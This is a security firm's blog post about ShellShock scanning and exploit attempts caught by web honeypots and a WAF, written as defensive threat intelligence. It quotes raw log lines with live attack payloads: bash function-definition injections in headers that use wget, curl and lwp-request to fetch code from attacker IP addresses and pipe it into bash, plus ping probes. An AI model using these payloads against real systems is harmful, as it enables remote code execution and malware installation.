Trustwave, like most other information security firms, has been busy investigating the ShellShock vulnerability and subsequent scanning and exploit attempts. The SpiderLabs team at Truswave wanted to give the community some feedback on what we are seeing happening "in the wild" and a status on the detections and coverages we have in the relevant Trustwave services and product portfolio.
The first indications we received of scanning and exploit attempts came in from our web-based honeypot systems early on September 25 just after public announcement of the vulnerability. You can see in these examples from the Apache access_logs that attackers were scanning sites by adding attack payloads to either Referer or User-Agent field request headers:
162.253.66.76 - - [25/Sep/2014:00:24:27 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:35 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
162.253.66.76 - - [25/Sep/2014:00:24:37 -0400] "GET / HTTP/1.0" 400 226 "() { :; }; wget -O /tmp/besh http://162.253.66.76/nginx; chmod 777 /tmp/besh; /tmp/besh;" "Thanks-Rob"
209.126.230.72 - - [25/Sep/2014:00:47:40 -0400] "GET / HTTP/1.0" 200 10303 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:03:13:23 -0400] "GET / HTTP/1.0" 200 2564 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
209.126.230.72 - - [25/Sep/2014:03:14:26 -0400] "GET / HTTP/1.0" 200 16 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:03:43:04 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - [25/Sep/2014:03:49:19 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - [25/Sep/2014:03:50:17 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
209.126.230.72 - - [25/Sep/2014:05:59:22 +0900] "GET / HTTP/1.0" 200 22231 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
89.207.135.125 - - [25/Sep/2014:06:35:21 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 - "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
89.207.135.125 - - ...
While this data is useful, it is limited to only what is logged by default Apache combined log format. If we look deeper at some of the full HTTP audit logs from the ModSecurity WAF audit log format, we can see more interesting header attacks including cookies and custom headers:
cookie: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://82.118.242.208:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
variable-auth_method: () { :; }; /bin/bash -c 'rm /tmp/._tmp; uu="x5w3h5abg6"; up="5KWqDPzkwO"; u="http://82.118.242.208:8009/?ii=13f15d9c98ccd171e9e41638da29ed5c&ij=aHR0cDovL21vZHNlY3VyaXR5Lm9yZy8%3D"; curl -u $uu:$up $u | /bin/bash; lwp-request -m POST -H 'Authorization: Basic eDV3M2g1YWJnNjo1S1dxRFB6a3dP' $u | /bin/bash; wget -O- --http-user $uu --http-password $up $u | /bin/bash'
As you can see, these attacks are mainly trying to either confirm the existence of the vulnerability or actual exploit attempts to download and execute malware.
In addition to our web honeypots that run ModSecurity, Trustwave SpiderLabs also has access to research deployments of our Trustwave Web Application Firewall (WAF) product. Our WAF already has built-in attack payload detections for OS Command Injection attacks that would catch the vast majority of attack payloads such as: echo, cat, ping, etc. In addition to this default protection, we wanted to see specific exploit attempts for this vulnerability so we quickly added in this "User Defined Rule":
Let's take a closer look at a few alert examples taken from our Trustwave WAF research deployment.
This client seems to only be testing whether the exploit works.
This client is going a step further by trying to notify the website owner that their site may be vulnerable to Shellshock and refers to their website for more information.
This example attack is interesting for two reasons:
This client from Brazil was attempting to use Netcat to send back a reverse shell to their address.
In addition to our WAF products, Trustwave Managed Security Services (MSS) also saw a huge spike in attack traffic for this vulnerability since September 25:
Attack source attribution is challenging as attackers will often loop their traffic through TOR, anonymous proxy servers or even compromised systems. This means that the true origin of the attacks could be from anywhere. Applying some attack source analysis did show that TOR is actively being used to send attack traffic.
For more information about Shellshock and Trustwave products and services that can help detect or protect against attacks on the vulnerability, visit the Trustwave blog.
As the data in this blog post illustrates, the threat level for this vulnerability is high due to the prevalence of the vulnerability and the large number of active exploit attempts in the wild. We urge all Trustwave customers to do the following:
Trustwave will continue to monitor this vulnerability and update protections and detections as needed.
Stay safe out there.
I would like to thank the following SpiderLabs Research team members who helped to ensure that their respective products were updated and also gathered threat intelligence for this blog post: